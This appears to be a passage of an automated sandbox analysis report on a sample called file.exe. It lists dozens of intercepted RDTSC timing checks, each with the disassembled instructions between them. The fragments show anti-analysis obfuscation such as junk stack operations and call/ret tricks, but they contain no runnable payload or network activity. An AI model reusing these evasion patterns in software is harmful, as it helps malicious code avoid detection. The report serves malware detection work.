Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3755 second address: FC37A1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1D54DCB06Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jmp 00007F1D54DCB05Ch 0x00000012 jno 00007F1D54DCB05Ch 0x00000018 popad 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jnp 00007F1D54DCB05Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC37A1 second address: FC37A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC37A5 second address: FC37E9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1D54DCB05Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F1D54DCB058h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov di, F420h 0x00000029 push 49D91B48h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3B0B second address: FC3B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3B10 second address: FC3B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1D54DCB05Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3C02 second address: FC3C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4266 second address: FC4270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1D54DCB056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4316 second address: FC4327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jg 00007F1D548AABF6h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4327 second address: FC4339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB05Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4339 second address: FC4366 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 xor dword ptr [ebp+122D1B08h], ebx 0x0000000f mov edi, dword ptr [ebp+122D28BAh] 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1D548AAC05h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4756 second address: FC4774 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F1D54DCB060h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC485B second address: FC485F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC49A5 second address: FC49AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC49AA second address: FC49AF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC49AF second address: FC4A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F1D54DCB058h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2D70h], edx 0x0000002a xchg eax, ebx 0x0000002b jng 00007F1D54DCB064h 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F1D54DCB060h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4E3A second address: FC4E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1D548AAC07h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4E59 second address: FC4E6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F1D54DCB073h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4E6B second address: FC4E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5629 second address: FC5633 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7884 second address: FC788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC788E second address: FC78C3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1D54DCB056h 0x00000008 jnc 00007F1D54DCB056h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pushad 0x00000017 jo 00007F1D54DCB056h 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 jl 00007F1D54DCB056h 0x00000027 popad 0x00000028 popad 0x00000029 js 00007F1D54DCB066h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 push esi 0x00000034 pop esi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC78C3 second address: FC78C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC871E second address: FC8723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC917D second address: FC9191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jbe 00007F1D548AAC02h 0x0000000c jng 00007F1D548AABFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8723 second address: FC8744 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1D54DCB065h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9F6B second address: FC9F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8744 second address: FC8748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC5ED second address: FCC5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC5F1 second address: FCC5FB instructions: 0x00000000 rdtsc 0x00000002 je 00007F1D54DCB056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC5FB second address: FCC60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1D548AABFAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC60E second address: FCC626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1D54DCB05Ch 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF062 second address: FCF067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF60E second address: FCF618 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1D54DCB05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD05A5 second address: FD05D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F1D548AABFFh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF7EE second address: FCF7F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD05D0 second address: FD060F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F1D548AABF8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov di, dx 0x00000027 push 00000000h 0x00000029 mov ebx, dword ptr [ebp+12481941h] 0x0000002f movzx edi, dx 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF7F3 second address: FCF7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD060F second address: FD0614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1654 second address: FD1660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD07AC second address: FD07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D548AABFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1709 second address: FD178D instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D54DCB058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F1D54DCB05Eh 0x00000011 nop 0x00000012 mov edi, dword ptr [ebp+122D243Eh] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F1D54DCB058h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 mov ebx, 0EFEC181h 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov ebx, dword ptr [ebp+122D292Ah] 0x0000004b mov eax, dword ptr [ebp+122D15B5h] 0x00000051 mov bx, C8DAh 0x00000055 push FFFFFFFFh 0x00000057 add dword ptr [ebp+122D1C08h], ebx 0x0000005d nop 0x0000005e je 00007F1D54DCB05Eh 0x00000064 jne 00007F1D54DCB058h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e push ecx 0x0000006f pop ecx 0x00000070 pushad 0x00000071 popad 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD085F second address: FD0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD27C2 second address: FD27C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5604 second address: FD5612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007F1D548AABFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5612 second address: FD5616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5616 second address: FD562D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007F1D548AABFEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD562D second address: FD5633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5C00 second address: FD5C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD37FF second address: FD3804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6BAF second address: FD6BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7C05 second address: FD7C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5DDC second address: FD5DE2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6D64 second address: FD6D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D54DCB069h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8D83 second address: FD8E09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1D548AABFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D20AAh], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F1D548AABF8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+122D2976h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F1D548AABF8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f mov bh, BCh 0x00000051 and ebx, dword ptr [ebp+122D28EAh] 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F1D548AAC02h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDADA4 second address: FDADAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBDD7 second address: FDBDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBDDB second address: FDBE4C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1D54DCB05Dh 0x0000000e nop 0x0000000f jnp 00007F1D54DCB05Bh 0x00000015 and di, 325Fh 0x0000001a pushad 0x0000001b push eax 0x0000001c add edi, dword ptr [ebp+122D2B5Eh] 0x00000022 pop eax 0x00000023 jno 00007F1D54DCB056h 0x00000029 popad 0x0000002a push 00000000h 0x0000002c mov di, dx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F1D54DCB058h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c jmp 00007F1D54DCB062h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push ebx 0x00000057 pop ebx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBE4C second address: FDBE63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCE00 second address: FDCE3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F1D54DCB068h 0x0000000c nop 0x0000000d mov bx, dx 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1A07h], edx 0x00000018 push 00000000h 0x0000001a sub edi, 578EA191h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDF5E second address: FDDFCF instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F1D548AABF8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 movzx ebx, si 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F1D548AABF8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 jmp 00007F1D548AABFDh 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDFCF second address: FDDFD9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEEDE second address: FDEEE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFE34 second address: FDFE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFE3C second address: FDFE5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jnc 00007F1D548AABF8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFE5F second address: FDFE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFE63 second address: FDFF0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F1D548AABF8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 jmp 00007F1D548AABFEh 0x0000002a jmp 00007F1D548AAC04h 0x0000002f push 00000000h 0x00000031 mov di, cx 0x00000034 mov dword ptr [ebp+12456A4Bh], edx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007F1D548AABF8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 mov ebx, dword ptr [ebp+122D2368h] 0x0000005c xchg eax, esi 0x0000005d jmp 00007F1D548AABFAh 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFF0A second address: FDFF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFF0E second address: FDFF12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE74FB second address: FE74FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE74FF second address: FE7509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6E13 second address: FE6E1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1D54DCB056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6E1D second address: FE6E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1D548AAC09h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6E40 second address: FE6E72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB067h 0x00000007 jmp 00007F1D54DCB067h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB75B second address: FEB761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB761 second address: FEB765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ADC0 second address: F7ADD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEB45 second address: FEEB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEB49 second address: FEEB4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEBC9 second address: FEEBCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEED33 second address: FEED6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jg 00007F1D548AAC13h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jl 00007F1D548AAC04h 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
